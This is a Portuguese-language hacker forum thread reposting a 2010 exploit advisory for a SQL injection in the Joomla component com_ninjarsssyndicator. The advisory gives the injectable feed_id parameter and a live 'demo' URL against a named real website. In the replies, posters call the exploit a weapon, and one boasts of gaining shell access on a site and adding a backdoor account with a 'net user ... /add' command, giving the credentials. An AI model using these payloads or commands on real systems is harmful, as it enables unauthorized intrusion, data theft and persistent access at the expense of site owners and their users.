Joomla Component com_ninjarsssyndicator SQL Union Injection Vulnerability

[#Expl0it]

===================================================
    Joomla Component com_ninjarsssyndicator SQL Union Injection Vulnerability
===================================================
:------------------------------------------------------------------------------------------------------------:
# Author : #Expl0it                                                                                             #
# Email & msn : exploit[at]guiadohacker[dot]com[dot]br                                                         #
# Date : 31 July 2010                                                                                           #
# web : http://guiadohacker.com.br                                                                              #
# Category: webapps                                                                                          #
# Greetz:  JB(), H4CK3R4LP and all members Guia do Hacker; Elite Defacer; D1r3t0r10 s3cr3t0.   #
:------------------------------------------------------------------------------------------------------------:
~~~~~~~~~~~~~~~~~~
: Dork: n/a
: Vendor: Ninja Forge
~~~~~~~~~~~~~~~~~~

..: Exploit :..
:-----------------------------------------------------------------------------------------:
  patch/index.php?option=com_ninjarsssyndicator&feed_id=[SQL Injection]
:-----------------------------------------------------------------------------------------:

#  ...: Demo :.... #
###############################################################################################
#  http://site.com/index.php?option=com_ninjarsssyndicator&feed_id=[SQL i ]                   #
# ...: Demo Online :...                                                                          #
#   http://www.bit.pt/index.php?option=com_ninjarsssyndicator&feed_id=%27&format=raw&lang=%27 #
###############################################################################################
# http://inj3ct0r.com/author/2606

[H4ck3r4lp]

Expl0it ,isso é uma arma rapaz. kkkkkkkk

[JeanM]

Revolução (:

[Stigmata]

esse site ai Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... acabei de fazer um teste tive acesso a Shell sem Exploit ¬¬

[Stigmata]

esse site ai Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... acabei de fazer um teste tive acesso a Shell sem Exploit ¬¬

Ia esquecendo, ainda criei um user e senha u.u

comando usado foi
net user stigmata 123456 /add

então login
stigmata
senha
123456


molinho